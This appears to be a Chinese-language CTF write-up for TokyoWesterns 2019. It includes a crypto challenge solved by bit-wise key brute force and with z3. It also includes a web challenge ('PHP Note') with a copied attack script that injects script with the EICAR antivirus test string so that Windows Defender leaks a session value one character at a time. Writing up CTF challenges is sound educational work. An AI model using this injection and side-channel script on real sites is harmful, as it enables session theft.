TokyoWestern2019

Crypto

simple logic

题目给出了加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def encrypt(msg, key)
enc = msg
mask = (1 << BITS) - 1
ROUNDS.times do
enc = (enc + key) & mask
enc = enc ^ key
end
enc
end

def decrypt(msg, key)
enc = msg
mask = (1 << BITS) - 1
ROUNDS.times do
enc = enc ^ key
enc = (enc - key) & mask
end
enc
end

fail unless BITS % 8 == 0

flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)

STDERR.puts "The flag: TWCTF{%x}" % flag
STDERR.puts "Key=%x" % key
STDOUT.puts "Encrypted flag: %x" % encrypt(flag, key)
fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check

PAIRS.times do |i|
plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
enc = encrypt(plain, key)
STDOUT.puts "Pair %d: plain=%x enc=%x" % [-~i, plain, enc]
end

随后给出了加密过后的flag以及随机产生的六组明文和对应的六组密文.

加密过程就是明文和key相加之后在和key进行一次异或, 这个过程重复765次. 很明显我们要求key来解出flag

原理很简单:在这个加密过程中, 低位会影响高位的加密(比如明文的低位和key的低位相加之后会向高位进行进位) 但是不会影响低位本身的加密, 同时高位也不会影响到低位的加密, 因此只要从低位开始一位一位爆破就可以了. 要求已知key的部分和每一组明文中对应的那一部分经过756轮加密之后和密文对应部分一致.

比如

猜测key的最后一位是1, 和六组明文中每一组的最后一位都分别加密756次, 有六个密文位, 如果和那六组密文的最后一位对应那就可能是key的一部分, 之所以说可能是因为在考虑位数较少的情况下可能存在多种解的情况.

猜测倒数第二位 01或者是11 , 这两个可能都去和六组明文中每一组的最后两位都分别加密756次, 有六个密文位, 如果和那六组密文的最后两位对应那就可能是key的一部分.由此类推……

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
ROUNDS = 765
BITS = 128

def encrypt(msg,key):
enc = msg
mask = (1 << BITS) - 1
for _ in range(ROUNDS):
enc = (enc + key) & mask
enc = enc ^ key
return enc

def decrypt(msg, key):
enc = msg
mask = (1 << BITS) - 1
for _ in range(ROUNDS):
enc = enc ^ key
enc = (enc - key) & mask
return enc


the_flag = 0x43713622de24d04b9c05395bb753d437

plain = [0x29abc13947b5373b86a1dc1d423807a,0xeeb83b72d3336a80a853bf9c61d6f254,0x7a0e5ffc7208f978b81475201fbeb3a0,0xc464714f5cdce458f32608f8b5e2002e,0xf944aaccf6779a65e8ba74795da3c41d,0x552682756304d662fa18e624b09b2ac5]

enc = [0xb36b6b62a7e685bd1158744662c5d04a,0x614d86b5b6653cdc8f33368c41e99254,0x292a7ff7f12b4e21db00e593246be5a0,0x64f930da37d494c634fa22a609342ffe,0xaa3825e62d053fb0eb8e7e2621dabfe7,0xf2ffdf4beb933681844c70190ecf60bf]

# 这边这个算法值得好好体会, 从一位开始向更多的位数进行扩展, 一开始的0,1是对最低位的猜测
# 多解的情况会出现比如10,00,11,01都符合情况
q = ['0','1']
while len(q) != 0:
key = q.pop(0)
# 通过flag位来指示操作
flag = 1
# 如果这个key将六组密文解密后的结果与明文都相同, 循环结束得到了key
for i in range(6):
if decrypt(int(enc[i]),int(key,2)) != int(plain[i]):
flag = 0
break
if flag == 1:
print key
break
# 判断高一位为0是否符合条件, 注意这边rjust(128).replace(' ','0')是为了将所有结果的长度统一到最长, 否则-1-len(key)可能会超出范围
flag = 1
for i in range(6):
if bin(decrypt(int(enc[i]),int('0'+key,2)))[2:].rjust(128).replace(' ','0')[-1-len(key):] != bin(plain[i])[2:].rjust(128).replace(' ','0')[-1-len(key):]:
flag = 0
break
if flag == 1:
q.append('0'+key)
# 判断高一位为1是否符合条件, 注意这边rjust(128).replace(' ','0')是为了将所有结果的长度统一到最长, 否则-1-len(key)可能会超出范围
flag = 1
for i in range(6):
if bin(decrypt(int(enc[i]),int('1'+key,2)))[2:].rjust(128).replace(' ','0')[-1-len(key):] != bin(plain[i])[2:].rjust(128).replace(' ','0')[-1-len(key):]:
flag = 0
break
if flag == 1:
q.append('1'+key)

# 解密flag
print "TWCTF{" + str(hex(decrypt(the_flag,int(key,2)))[2:-1]) + "}"

因为是线性方程组,所以还有使用z3的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mport z3
import binascii

BITS = 128
ROUNDS = 765

def encrypt(msg, key):
enc = msg
for i in range(ROUNDS):
enc = (enc + key)
enc = enc ^ key
return enc

plain1= 0x029abc13947b5373b86a1dc1d423807a
enc1 = 0xb36b6b62a7e685bd1158744662c5d04a
plain2= 0xeeb83b72d3336a80a853bf9c61d6f254
enc2 = 0x614d86b5b6653cdc8f33368c41e99254
plain3= 0x7a0e5ffc7208f978b81475201fbeb3a0
enc3 = 0x292a7ff7f12b4e21db00e593246be5a0
plain4= 0xc464714f5cdce458f32608f8b5e2002e
enc4 = 0x64f930da37d494c634fa22a609342ffe
plain5= 0xf944aaccf6779a65e8ba74795da3c41d
enc5 = 0xaa3825e62d053fb0eb8e7e2621dabfe7
plain6= 0x552682756304d662fa18e624b09b2ac5
enc6 = 0xf2ffdf4beb933681844c70190ecf60bf

k = z3.BitVec("k", 128)
s = z3.Solver()
s.add(encrypt(plain1, k) == enc1)
s.add(encrypt(plain2, k) == enc2)
s.add(encrypt(plain3, k) == enc3)
s.add(encrypt(plain4, k) == enc4)
s.add(encrypt(plain5, k) == enc5)
s.add(encrypt(plain6, k) == enc6)
print(s.check())
if s.check() == z3.sat:
m = s.model()
print(m)

然后使用key解密即可

web

PHP Note

考察windows测信道攻击

http://www.rai4over.cn/2019/09/10/TokyoWesterns-CTF-2019-PHP-Note-WriteUp/

题目标志:

1
Server: Microsoft-IIS/10.0

可是为什么我的windows defender 拦截不到呢…….

摘录一下脚本, 以后可能用得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# coding=utf-8
import requests
if __name__ == "__main__":
url = "http://phpnote.chal.ctf.westerns.tokyo/"
session = ""
for index in range(10,64):
s = requests.Session()
for x in range(256):
data = {"realname": "xxxxxxxxxxxx"}
s.post(url + "/?action=login", data=data)
payload = '''<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(''' + str(index) + ''') == ''' + str(x) + ''')];
var mal = "X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>'''
print(payload)
data = {"realname": payload, 'nickname': '</body>'}
s.post(url + "/?action=login", data=data)
rs = s.get(url + "/?action=index")
print(str(index) + ' ' + str(x))
if ('Login' in rs.text):
session = session + chr(x)
print("session : " + session)
break
else:
pass